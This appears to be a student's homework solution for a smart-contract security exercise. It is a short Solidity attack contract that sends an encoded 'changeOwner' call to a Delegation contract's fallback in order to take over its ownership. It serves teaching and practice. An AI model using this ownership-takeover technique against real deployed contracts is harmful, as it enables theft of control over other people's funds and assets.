HW3 Delegation

Delegation.sol

contract DelegationAttack {
    function callFallback(bytes32 secret, address studentWallet, address delegationAddress) external {
        // trigger fallback of Delegation contract since no changeOwner function is defined
        (bool success,) = delegationAddress.call(
            abi.encodeWithSignature(
                "changeOwner(bytes32,address)", 
                secret,
                studentWallet
            )
        );
        require(success, "callFallback failed");
    }
}